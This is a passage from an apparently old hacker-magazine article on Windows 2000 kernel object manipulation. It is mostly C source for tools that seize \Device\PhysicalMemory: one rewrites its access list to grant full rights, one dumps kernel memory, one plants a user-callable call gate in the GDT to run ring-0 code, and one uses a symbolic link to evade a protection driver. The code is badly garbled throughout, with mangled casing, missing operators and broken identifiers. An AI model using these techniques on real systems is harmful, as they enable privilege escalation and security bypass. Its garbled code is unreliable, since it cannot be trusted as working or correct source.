Typedef struct _object_attributes {
Ulong Length;
Handle rootdirectory;
Punicode_String ObjectName;
Ulong attributes;
PVOID SecurityDescriptor;
Pvoid SecurityQualityOfService;
} Object_attributes, * pobject_attribute;
// USEful Macros
#define InitializeObjectttributes (p, n, a, r, s) {/
(p) -> Length = sizeof (object_attributes); /
(p) -> rootdirectory = r; /
(p) -> attributes = a; /
(p) -> Objectname = n; /
(p) -> securityDescriptor = s; /
(p) -> securityQualityofService = null; /
}
#define init_Unicode (_VAR, _Buffer) /
Unicode_string _var = {/
Sizeof (_buffer) - Sizeof (Word), /
Sizeof (_buffer), /
_buffer}
// Callgate Info
Typedef struct _kgdtenTry {
Word LimitLow;
Word baselow;
Word Basehigh;
} KGDTENTRY, * PKGDTENTRY;
Typedef struct _callgate_descriptor {
USHORT OFFSET_0_15;
Ushort selector;
Uchar param_count: 4;
Uchar Some_bits: 4;
Uchar Type: 4;
Uchar app_system: 1;
Uchar DPL: 2;
Uchar present: 1;
Ushort offset_16_31;
} CallGate_Descriptor, * pcallgate_descriptor; // section info
Typedef Large_integer Physical_Address, * pphysical_address;
Typedef enum _section_inherit {
Viewshare = 1,
ViewUnmap = 2
} Section_inherit;
Typedef struct _mapping {
/ * 000 * / physical_address paddress;
/ * 008 * / pvoid vaddress;
/ * 00c * / DWORD OFFSET;
/ * 010 * /} mapping, * pmapping;
// Symlink Info
#define symbolic_link_query (0x0001)
#define symbolic_link_all_access (Standard_Rights_Required | 0x1)
// Process Info
// flink to _eprocess
#define to_eprocess (_A) ((DWORD) _A - 0xA0)
// Flink to uniqueProcessID
#define to_pid (_A) (DWORD) _A - 0x4)
// Flink to ImageFileName
#define to_pname (_A) (PCHAR) ((DWORD) _A 0x15C)
Typedef struct _dispatcher_header {
/ * 000 * / uchar type;
/ * 001 * / uchar absolute;
/ * 002 * / uchar size;
/ * 003 * / uchar inserted;
/ * 004 * / long signalstate;
/ * 008 * / list_entry waitlisthead;
/ * 010 * /} dispatcher_header DISPATCHER_HEADER;
Typedf struct _kevent {
/ * 000 * / dispatcher_header header;
/ * 010 * /} KEVENT, * PKEVENT
Typedef struct _fast_mutex {
/ * 000 * / long count;
/ * 004 * / PVOID OWNER;
/ * 008 * / ulong contention;
/ * 00c * / kevent event;
/ * 01c * / Ulong Oldirql;
/ * 020 * /} FAST_MUTEX, * PFAST_MUTEX;
// The Two Following Definition Come from W2K_DEF.H by Sven B. Schreiber
Typedef struct _mmsupport {
/ * 000 * / large_integer lasttrimtime;
/ * 008 * / DWORD LASTTRIMFAULTCOUNT;
/ * 00c * / dWord PageFaultCount;
/ * 010 * / DWORD peakworkingsetsize;
/ * 014 * / DWORD WORKINGSETSIZE
/ * 018 * / DWORD minimumworkingsetsize;
/ * 01C * / DWORD MAXIMUMWORKINGESTSIZE
/ * 020 * / pvoid vmworkingsetlist;
/ * 024 * / list_entry workingseTexpansionLinks;
/ * 02c * / boolean allowworkingsetadjustment;
/ * 02D * / boolean addresssspacebeingdeeled;
/ * 02E * / byte foregroundswitchcount; / * 02f * / byte memorypriority
/ * 030 * /} MMSupport, * PMMsupport;
Typedef struct _io_counters {
/ * 000 * / ulonglong readopertod;
/ * 008 * / ulonglong writeOperationcount;
/ * 010 * / ulonglong otherperationcount;
/ * 018 * / ulonglong readtransfercount;
/ * 020 * / ulonglong WriteTransfercount;
/ * 028 * / ulonglong OthersferCount;
/ * 030 * /} IO_COUNTERS, * PIO_COUNTERS;
// this is a very simplified version of the eprocess
// structure.
Typedef struct _eprocess {
/ * 000 * / byte pcb [0x6c];
/ * 06C * / NTSTATUS EXITSTATUS;
/ * 070 * / kevent lockvent;
/ * 080 * / DWORD LOCKCOUNT;
/ * 084 * / DWORD DW084;
/ * 088 * / large_integer createtime;
/ * 090 * / large_integer exittime;
/ * 098 * / PVOID LOCKOWNER;
/ * 09c * / DWORD UNIQUEPROCESSID;
/ * 0A0 * / LIST_ENTRY ACTIVEPROCESSLINKS; // See PsactiveListhead
/ * 0A8 * / DWORD quotapeakpoolusage [2]; // np, p
/ * 0B0 * / DWORD quotapoolusage [2]; // np, p
/ * 0B8 * / DWORD PAGEFILEUSAGE;
/ * 0BC * / DWORD COMMITCHARGE;
/ * 0c0 * / DWORD peakpagefileusage;
/ * 0C4 * / DWORD peakvirtualsize;
/ * 0c8 * / large_integer virtualsize;
/ * 0D0 * / mmsupport vm;
/ * 100 * / list_entry sessionProcessLinks;
/ * 108 * / DWORD DW108 [6];
/ * 120 * / PVOID Debugport;
/ * 124 * / pvoid exceptionport;
/ * 128 * / pvoid objecttable;
/ * 12c * / pvoid token;
/ * 130 * / fast_mutex workingsetlock;
/ * 150 * / dWord workingSetPage;
/ * 154 * / boolean processoutswapenabled;
/ * 155 * / boolean processoutswapped;
/ * 156 * / boolean addresssspaceinitialized;
/ * 157 * / boolean addresssspacedeeted;
/ * 158 * / fast_mutex addresscreationlock
/ * 178 * / kspin_lock hyperspacelock;
/ * 17C * / DWORD forkInprogress;
/ * 180 * / Word vmoperty;
/ * 182 * / Boolean forkwassuccessful;
/ * 183 * / byte mmagressivewstrimmask;
/ * 184 * / DWORD VMOPERATIONEVENT;
/ * 188 * / pvoid paetop; / * 18c * / dword lastfaultcount;
/ * 190 * / dWord modifiedPageCount;
/ * 194 * / pvoid vadroot;
/ * 198 * / pvoid vadhint
/ * 19c * / pvoid cloneroot;
/ * 1A0 * / DWORD NUMBEROFPRIVATEPAGES;
/ * 1A4 * / DWORD NUMBEROFLOCKEDPAGES;
/ * 1A8 * / Word nextPageColor;
/ * 1AA * / Boolean EXITPROCALLED;
/ * 1Ab * / boolean createprocessReport;
/ * 1ac * / handle sectionHandle;
/ * 1B0 * / PVOID PEB;
/ * 1B4 * / PVOID SectionBaseAddress;
/ * 1B8 * / PVOID quotablock;
/ * 1bc * / ntstatus lastthreadexitstatus;
/ * 1c0 * / dWord workingSetWatch;
/ * 1c4 * / handle win32windowstation;
/ * 1c8 * / dword inheritedFromuniqueProcessID;
/ * 1cc * / access_mask grantedAccess;
/ * 1D0 * / dword defaultharderrorprocessing; // HEM_ *
/ * 1D4 * / DWORD LDTINFORMATION;
/ * 1D8 * / pvoid vadfreehint;
/ * 1DC * / DWORD VDMOBJECTS;
/ * 1E0 * / PVOID DeviceMap;
/ * 1e4 * / dWord sessionID;
/ * 1e8 * / list_entry physicalvadlist;
/ * 1F0 * / pvoid pagedirectorypte;
/ * 1F4 * / DWORD DW1F4;
/ * 1F8 * / DWORD paneledirectorypage;
/ * 1FC * / char imagefilename [16];
/ * 20C * / DWORD VMTRIMFAULTVALUE;
/ * 210 * / byte setTimerResolution;
/ * 211 * / byte priorityclass;
/ * 212 * / Word subsystemversion;
/ * 214 * / PVOID WIN32PROCESS;
/ * 218 * / PVOID JOB;
/ * 21C * / DWORD JOBSTATUS;
/ * 220 * / list_entry joblinks;
/ * 228 * / pvoid LockedPageSlist;
/ * 22C * / PVOID securityPort;
/ * 230 * / PVOID WOW64;
/ * 234 * / DWORD DW234;
/ * 238 * / IO_COUNTERS IOCOUNTERS;
/ * 268 * / DWORD commitchargelimit;
/ * 26C * / DWORD commitchargepeaf;
/ * 270 * / list_entry threadlisthead;
/ * 278 * / PVOID VADPHYSICALPAGESBITMAP
/ * 27c * / DWORD VADPHYSICALPAGES;
/ * 280 * / DWORD AWELOCK;
/ * 284 * /} EPROCESS, * PEPROCESS
// Copy Ntdll.lib from Microsoft Ddk to Current Directory
#pragma comment (LIB, "NTDLL")
#define Imp_syscall__declspec (dllimport) NTSTATUS _STDCALLIMP_SYSCALL
NTMapViewOfsection (Handle SectionHandle,
Handle ProcessHandle,
PVOID * baseaddress,
Ulong ZeroBits,
Ulong Commitsize,
Plarge_integer sectionoffset,
Psize_t viewsize,
Section_inherit inheritdisposition,
Ulong AllocationType,
Ulong protect);
IMP_SYSCALL
NTUNMAPVIEWOFSECTION (Handle ProcessHandle,
Pvoid BaseAddress;
IMP_SYSCALL
NTOPENSECTION (Phandle SectionHandle,
Access_mask desiredAccess,
POBJECT_ATTRIBUTES OBJECTATTRIBUTES);
IMP_SYSCALL
NTClose (Handle Handle);
IMP_SYSCALL
NtcreateSymbolicLinkObject (Phandle SymlinkHandle,
Access_mask desiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
Punicode_String TargetName);
---- [5.2 CHMOD_MEM.C
#include
#include
#include
#include "../kmem.h"
Void usage (char * n) {
Printf ("USAGE:% s (/ current | / user) [WHO] / N", N);
Printf ("/ current: add all access to current user / n");
Printf ("/ user: add all access to user 'who' / n");
exit (0);
}
INT main (int Argc, char ** argv) {
Handle Section;
DWord res;
NTSTATUS NTS;
Pacl olddacl = null, newdacl = null;
Psecurity_descriptor secondsc = null;
EXPLICIT_ACCESS Access;
Object_attributes obttributes;
INIT_UNICODE (Obname, L "// device // PhysicalMemory);
Bool mode;
IF (Argc <2)
USAGE (Argv [0]);
IF (! Strcmp (Argv [1], "/ Current")) {
Mode = 1;
} else if (! Strcmp (Argv [1], "/ user") && argc == 3) {
Mode = 2;
Else
USAGE (Argv [0]);
MEMSET (& Access, 0, SIZEOF (Explicit_Access));
InitializeObjectAttributes (& Obattributes,
& Obname,
Obj_case_insensitive | obj_kernel_handle,
NULL,
NULL);
// Open Handle de / device / physicalmemorynts = NTOPENSECTION (& section, Write_DAC | Read_Control, & obattributes);
IF (nts! = status_success) {
Printf ("ERROR: NTOPENSECTION (CODE:% x) / N", NTS);
Goto cleanup;
}
// Retrieve a Copy of the security descriptor
Res = GetSecurityInfo (Section, SE_kernel_Object,
DACL_SECURITY_INFORMATION, NULL, NULL, & OLDACL,
NULL, & SecDESC;
IF (res! = error_success) {
Printf ("Error: GetSecurityInfo (CODE:% lu) / n", RES);
Goto cleanup;
}
Access.grfactCpassPermissions = section_all_access; //
Access.grfaccessmode = GRANT_ACCESS;
Access.grfinheritance = no_inheritance;
Access.trustee.multiPletrusteeOperation = no_multiple_trustee;
// Change these Informations to grant access to a group or other user
Access.trustee.trusteeform = trustee_is_name;
Access.trustee.trustetype = trustee_is_user;
IF (Mode == 1)
Access.trustee.ptStrName = "current_user";
Else
Access.trustee.ptstrname = argv [2];
// Create the New ACL
Res = STENTRIESINACL (1, & Access, OldDacl, & newDacl);
IF (res! = error_success) {
Printf ("Error: setENTRIESINACL (CODE:% lu) / n", res);
Goto cleanup;
}
// Update ACL
Res = setsecurityInfo (section, se_kernel_object,
DACL_SECURITY_INFORMATION, NULL, NULL, NewDACL,
NULL);
IF (res! = error_success) {
Printf ("Error: setENTRIESINACL (CODE:% lu) / n", res);
Goto cleanup;
}
Printf ("// device // physicalmemory chmoded / n");
Cleanup:
IF (section)
Ntclose (section);
IF (SECDESC)
Localfree (SECDESC);
Return (0);
}
---- [5.3 WinkDump.c
#include
#include
#include
#include "../kmem.h"
Ulong granularity; // Thanx to kraken for the hexdump function
Void Hexdump (unsigned char * data, unsigned int a) {
Unsigned int DP, P;
Const char trans [] =
"................................! /" # $% & '() * , -. / 0123456789 "
":; <=>? @ AbcdefghijklmnopqrStuvwxyz [//] ^ _` Abcdefghijklm "
"NopQrstuvwxyz {|} ~ ...................................."
"............................................. .... "
"........................................"
For (DP = 1; DP <= Amount; DP ) {
Printf ("% 02x", DATA [DP-1]);
IF ((DP% == 0)
Printf ("");
IF ((DP% 16) == 0) {
Printf ("|");
P = DP;
For (DP - = 16; DP
Printf ("% c", trans [data [dp]]);
Printf ("/ n");
}
}
IF ((Amount% 16)! = 0) {
P = DP = 16 - (Amount% 16);
For (DP = P; DP> 0; DP -) {
Printf ("");
IF (((DP% == 0) && (p! = 8))
Printf ("");
}
Printf ("|");
For (DP = (Amount - (16 - P)); DP Printf ("% c", trans [data [dp]]); } Printf ("/ n"); Return; } Physical_address getPhysicalAddress (Ulong Vaddress) { Physical_address add; IF (Vaddress <0x80000000l || Vaddress> = 0xA0000000L) Add.quadpart = (ulonglong) VAddress & 0xFFFF000; Else Add.quadpart = (ulonglong) VAddress & 0x1fffFF000; Return (Add); } INT INITSECTION (Phandle Section) { NTSTATUS NTS; Object_attributes obttributes; INIT_UNICODE (Obstring, L "// device // physicalmemory"); InitializeObjectAttributes (& Obattributes, & Obstring, Obj_case_insensitive | obj_kernel_handle, NULL, NULL); // Open / device / PhysicalMemory NTS = NTOPENSECTION (Section, Section_map_read, & Obttributes); IF (nts! = status_success) { Printf ("* Error Ntopensection (CODE:% x) / n", NTS); Return (0); } Return (1); } INT main (int Argc, char ** argv) { NTSTATUS NTS; Ulong Address, Size, Mappedsize, Offset Handle Section; PVOID MAPPEDADDRESS = NULL; System_INFO SYSINFO; Physical_address Paddress; Printf ("*** win2k memory dumper *** / n / n"); IF (argc! = 3) { Printf ("USAGE:% s
Return (0);
}
Address = Strtoul (Argv [1], NULL, 0);
Mappedsize = size = start (Argv [2], NULL, 10);
Printf ("Virtual Address: 0x% .8X / N", Address;
IF (! size) {
Printf ("Error: Invalid Size / N);
Return (0);
}
// Get Allocation Gran Guity Information
GetSystemInfo (& SysInfo);
Granularity = sysinfo.dwallocationGranularity;
Printf ("Allocation Gran Guity:% lu bytes / n", granularity;
IF (! INITSECTION (& Section))
Return (0);
OFFSET = address% Gran Guity;
MappedSize = Offset; // Reajust mapping view
Printf ("OFFSET: 0x% x / n", OFFSET);
Paddress = getPhysicalAddress (address - offset);
Printf ("Physical Address: 0x% .16X / N", Paddress;
NTS = NTMapViewOfSection (Section, (Handle) -1, & mappedaddress, 0L,
Mappedsize, & Paddress, & mappedsize, viewshare,
0, Page_Readonly;
Printf ("Mapped Size:% Lu Bytes / N", MappedSize;
Printf ("View Size:% lu bytes / n / n", size);
IF (nts == status_success) {
HEXDUMP (CHAR *) MappedAddress offset, size);
NTUNMAPVIEWOFSECTION ((Handle) -1, MappedAddress;
} else {
IF (NTS == 0xc00000F4L)
Printf ("Error: Invalid Physical Address Translation / N"); ELSE
Printf ("Error: NTMapViewOfsection (CODE:% x) / N", NTS);
}
Ntclose (section);
Return (0);
}
---- [5.2 Winkps.c
// Code Very Messy But Working
#include
#include
#include "../kmem.h"
// Get this Address from Win2k Symbols
#define psadd 0x8046a180 // psactiveprocesshead
// default base address for ntoskrnl.exe on Win2k
#define baseadd 0x7ffe0000 // mmgetphysicalAddress
// max process, to prevent easy crashing
#define max_process 50
Typedef struct_my_cg {
Physical_address Paddress;
PVOID MAPPEDADDRESS;
PCallgate_Descriptor DESC;
Word segment;
Word lastentry;
} My_cg, * PMY_CG;
Ulong granularity;
PLIST_ENTRY PSACTIVEPROCESSHEAD = (PLIST_ENTRY) PSADD;
MY_CG GDTMAP;
Mapping Curmap;
Physical_address (* mmgetPhysicalAddress) (PVOID BaseAddress);
Void __declspec (naked) Ring0Func () {
_asm {
Pushhad
Pushf
CLI
Mov ESI, CURMAP.VADDRESS
PUSH ESI
Call MmgetphysicalAddress
Mov Curmap.paddress, EAX // Save Low Part of Large_integer
MOV [Curmap 4], EDX // Save High Part of Large_integer
POPF
Popad
Retf
}
}
// Function Which Call The Callgate
Physical_address NewgetPhysicalAddress (pvoid vaddress) {
Word Farcall [3];
Handle thread = getCurrentThread ();
Farcall [2] = gdtmap.segment;
IF (! Virtuallock ((pvoid) Ring0Func, 0x30)) {
Printf ("Error: Unable to Lock Function / N);
CURMAP.PADDRESS.QUADPART = 1;
} else {
Curmap.vaddress = VADDRESS; // Ugly Way to Pass Argument
Curmap.offset = (dword) VAddress% Gran Guity;
(DWORD) CURMAP.VADDRESS - = CURMAP.OFFSET;
Setthreadpriority (thread, thread_priority_time_critical);
Sleep (0);
_ASM Call fword PTR [farcall]
SetthreadPriority (Thread, Thread_Priority_NORMAL);
VirtualUnlock ((pvoid) Ring0Func, 0x30);
}
Return (CURMAP.PADDRESS);
}
Physical_address getPhysicalAddress (Ulong Vaddress) {
Physical_address add;
IF (Vaddress <0x80000000l || Vaddress> = 0xA0000000L) {
Add.quadpart = (ulonglong) VAddress & 0xFFFF000;
} else {
Add.quadpart = (ulonglong) VAddress & 0x1fffFF000;
}
Return (Add);
}
Void unmapMemory (PVOID MAPPEDADDRESS) {
NTUNMAPVIEWOFSECTION ((Handle) -1, MappedAddress;
}
Int installcallgate (Handle Section, DWORD FUNCTION) {
NTSTATUS NTS;
KGDTENTRY GGDT;
DWORD size;
PCallgate_descriptor cgdesc;
_ASM SGDT GGDT;
Printf ("Virtual Address of GDT: 0x% .8x / N",
Make_dword (ggdt.blelow, ggdt.basehigh);
Gdtmap.paddress =
GetPhysicalAddress (make_dword (ggdt.blelow, ggdt.basehigh);
Printf ("Physical Address of GDT: 0x% .16X / N", gdtmap.paddress.quadpart);
Size = ggdt.limitlow;
NTS = ntmapviewofsection (section, (handle) -1, & gdtmap.mappedaddress,
0L, Size, & gdtmap.paddress, & size, viewshare,
0, Page_Readwrite;
IF (nts! = status_success ||! gdtmap.mappedaddress) {
Printf ("Error: NTMapViewOfsection (CODE:% x) / N", NTS);
Return (0);
}
GDTMap.lastentry = GGDT.LimitLow & 0xFFF8; // Offset to Last Entry
For (cgdesc = (pvoid) ((DWORD) GDTMap.mappedAddress gdtmap.lastentry,
GDTMAP.DESC = NULL;
(DWORD) CGDESC> (DWORD) GDTMap.mappedAddress;
CGDESC - {
// Printf ("Present:% x, Type:% x / n", cgdesc-> present, cgdesc-> type);
IF (cgdesc-> present == 0) {
CGDESC-> Offset_0_15 = (word) (Function & 0xFFF);
CGDESC-> Selector = 8;
CGDESC-> param_count = 0; // 1;
CGDESC-> Some_bits = 0;
CGDESC-> TYPE = 12; // 32-bits callgate junior:> cgdesc-> app_system = 0; // a system segment
CGDESC-> DPL = 3; // Ring 3 Code Can Call
CGDESC-> Present = 1;
CGDESC-> OFFSET_16_31 = (Word) (Function >> 16);
GDTMAP.DESC = CGDESC;
Break;
}
}
IF (gdtmap.desc == NULL) {
Printf ("Error: Unable to Find Free Entry for Installing Callgate / N");
Printf ("NOT NORMAL BY THE WAY .. Your Box Is Strange =] / N");
}
Gdtmap.segment =
((WORD) CGDESC - (DWORD) GDTMap.mappedAddress) | 3;
Printf ("Allocated Segment:% x / n", gdtmap.segment);
Return (1);
}
INT UninstallCallGate (Handle Section, DWORD Function) {
PCallgate_descriptor cgdesc;
For (CGDESC = (PVOID) ((DWORD) GDTMap.mappedAddress gdtmap.lastentry;
(DWORD) CGDESC> (DWORD) GDTMap.mappedAddress;
CGDESC - {
IF ((cgdesc-> offset_0_15 == (word) (Function & 0xFFF))
&& cgdesc-> Offset_16_31 == (word) (Function >> 16)) {
Memset (CGDESC, 0, SIZEOF (Callgate_Descriptor);
Return (1);
}
}
NTUNMAPVIEWOFSECTION ((Handle) -1, GDTMap.mappedAddress;
Return (0);
}
Void unmapvirtualmemory (pvoid vaddress) {
NTUNMAPVIEWOFSECTION ((Handle) -1, Vaddress;
}
Pvoid MapVirtualMemory (Handle Section, Pvoid Vaddress, DWORD SIZE) {
Physical_address Paddress;
NTSTATUS NTS;
DWORD MAPPEDSIZE;
PVOID MAPPEDADDRESS = NULL;
// Printf ("* vaddress: 0x% .8x / n", vedful);
Paddress = NewGetPhysicalAddress ((pvoid) VAddress;
// Printf ("* Vaddress: 0x% .8X (after runking, offset: 0x% x) / N",
// Curmap.vaddress, CURMAP.OFFSET;
// Printf ("* paddress: 0x% .16x / n", paddress;
// Check for error (1 = IMPOSSIBLE VALUE)
IF (paddress.quadpart! = 1) {
Size = CURMAP.OFFSET; // adjust mapping viewmappedsize = size;
NTS = NTMapViewOfSection (Section, (Handle) -1, & mappedAddress,
0L, Size, & Paddress, & mappedsize, viewshare,
0, Page_Readonly;
IF (nts! = status_success ||! mappedsize) {
Printf ("Error: ntmapViewofsection, mapping 0x% .8x (CODE:% x) / N",
Vaddress, NTS);
Return (NULL);
}
Else
Mappedaddress = NULL;
Printf ("Mapped 0x% x Bytes @ 0x% .8x (init size: 0x% x bytes) / N",
Mappedsize, mappedaddress, size);
Return (MappedAddress);
}
Void DisplayProcesses (Handle Section) {
INT i = 0;
DWORD PADDING;
Peprocess Curprocess, NextProcess;
PVOID VCURENTRY, VOLDENTRY, NewMappedAddress
PLIST_ENTRY PSCUR;
// First We map psactiveprocesshead to get first entry
Vcurentry = MapVirtualMemory (Section, PSactiveProcesshead, 4);
IF (! vcurentry)
Return;
PSCur = (PLIST_ENTRY) ((DWORD) Vcurentry Curmap.offset;
// Most of EPROCESS STRUCT ARE LOCATED AROUND 0xFC [E-F] 00000
// SO We map 0x100000 Bytes (~ 1MB) to Avoid Heavy MEM Mapping
While (pscur-> flink! = psactiveprocesshead && i NextProcess = (peprocess) to_eprocess (pscur-> flink); // Printf ("==> current process:% x / n", curprocess); // We map 0x100000 Bytes View So We store offset to eProcess Padding = TO_EPROCESS (PSCur-> Flink) & 0xFffFf; // Check if the next struct is already mapped in membrate IF ((DWORD) Vcurentry <= (DWORD) NextProcess && (DWORD) NextProcess SizeOf (EPROCESS) <(dword) vcurentry 0x100000) { // no need to remap // no remapping sowe need to calculate the new address Curprocess = (Peprocess) ((DWORD) NEWMAPPEDADDRESS PADDING); } else { Curprocess = NextProcess; // unmap old view and map a new one // Calculate Next Base Address to map VoldENTRY = vcurentry; Vcurentry = (PVOID) (TO_EPROCESS (PSCur-> Flink) & 0xFFF00000); // Printf ("LINK:% X, Process:% x, TO_MAP:% x, Padding:% X / N", // pscur-> flink, to_eprocess (pscur-> flink), // vcurentry, padding); // unmap old view Unmapvirtualmemory (VoldENTRY); VoldENTRY = vcurentry; // map new view Vcurentry = MapVirtualMemory (Section, Vcurentry, 0x100000); IF (! vcurentry) Break; // Adjust EPROCESS STRUCTURE POINTER Curprocess = (Peprocess) (DWORD) Vcurentry Curmap.offset Padding; // Save mapped address NEWMAPPEDADDRESS = Vcurentry; // restore Pointer from map file 0x4 **** to // the real virtual address 0xf ******** Vcurentry = voldentry; } // REAJUST POINTER TO LIST_ENTRY STRUCT Pscur = & curprocess-> ActiveProcessLinks; Printf (" % lu / t% s / n", curprocess-> uniqueprocessid, Curprocess-> ImageFileName [0]? Curprocess-> ImageFileName: "[system]"); i ; } Unmapvirtualmemory (vcurentry); } INT main (int Argc, char ** argv) { System_INFO SYSINFO; Object_attributes obttributes; NTSTATUS NTS; Handle Section; HModule HDLL; INIT_UNICODE (Obstring, L "// device // physicalmemory"); Printf ("*** win2k process lister *** / n / n"); GetSystemInfo (& SysInfo); Granularity = sysinfo.dwallocationGranularity; Printf ("Allocation Gran Guity:% lu bytes / n", granularity; InitializeObjectAttributes (& Obattributes, & Obstring, Obj_case_insensitive | obj_kernel_handle, NULL, NULL); HDLL = LoadLibrary ("ntoskrnl.exe"); IF (HDLL) { MmgetPhysicalAddress = (PVOID) (DWORD) (DWORD) GetProcaddress (HDLL, "MMGETPHYSICALALADDRESS); Printf ("MMGETPHYSICALADDRESS: 0X% .8x / N", MMGETPHYSICALADDRESS; Freelibrary (HDLL); } NTS = NTOPENSECTION (& section, section_map_read | section_map_write, & Obttributes); IF (nts! = status_success) { IF (nts == status_access_denied) Printf ("Error: Access Denied to Open // device // physicalmemory for r / w / n "); Else Printf ("ERROR: NTOPENSECTION (CODE:% x) / N", NTS); Goto cleanup; } IF (! installcallgate (section, (dword) ring0func)) Goto cleanup; MEMSET (& Curmap, 0, Sizeof (mapping); __Try { DisplayProcesses (Section); } __except (uninstallcallgate (section, (dword) ring0func), 1) { Printf ("Exception: Trying to Clean Callgate ... / N"); Goto cleanup; } IF (! UninstallCallgate (section, (dword) ring0func)) Goto cleanup; Cleanup: IF (section) Ntclose (section); Return (0); } ---- [5.4 Fun_With_IPD.c #include #include #include #include "../kmem.h" Int main () { NTSTATUS NTS; Handle Symlink, Section; Object_attributes obttributes; INIT_UNICODE (Obname, L "// device // PhysicalMemory); INIT_UNICODE (ObnewName, L "// ?? // Hack_DA_IPD"); InitializeObjectAttributes (& Obattributes, & Obnewname, Obj_case_insensitive | obj_kernel_handle, NULL, NULL); NTS = NTCREATESYMBOLICLICLICOBJECT (& Symlink, Symbolic_Link_all_access, & Obttributes, & obname); IF (nts! = status_success) { Printf ("ERROR: NTCREATESYMBOLICLINKOBJECT (CODE:% X) / N", NTS); Return (0); } NTS = NTOPENSECTION (& section, section_map_read, & ibattribute); IF (NTS! = status_success) Printf ("Error: NTOPENSECTION (CODE:% X) / N", NTS); Else { Printf ("// device // physicalmemory open !!!! / n"); Ntclose (section); } // Now you can do what you want Getch (); NTClose (Symlink); Return (0); } --[ 6 Conclusion I hope this article can help you understand the basic Windows core object operation. As far as I know, you can completely follow Linux's / dev / kmem Do anything like anything, and there is no restriction, it is more than your imagination. I also hope that this article can let Linux's children read. (Refdom: 嘿) Thankx To CNS, U-N-F and Subk Dudes, Elicz for Some Help and Finally Syn / ACK OLDSCHOOL People (Wilmi Power) =] - [7 - REFERENCES [1] sysinternals - http://www.sysinternals.com/ [2] Microsoft DDK - www.microsoft.com/ddk/ [3] unofficial ntifs.h - http://www.insidewindows.info/ [4] www.chapeaux-nogrs.org/win/ [5] Intel IA-32 Software Developper Manual - Developer.intel.com [6] PEDESTAL Software - http://www.pedestalsoftware.com/ [7] Bindview's Razor - razor.bindview.com [8] Open systems resources - http://www.osr.com/ [9] MSDN - MSDN.Microsoft.com Books: * Undocunted Windows 2000 Secrets, a Programmer's Cookbook (http://www.orgon.com/w2k_internals/) * INSIDE Microsoft Windows 2000, Third Edition (http://www.microsoft.com/mspress/books/4354.asp) * Windows NT / 2000 Native API REFERENCE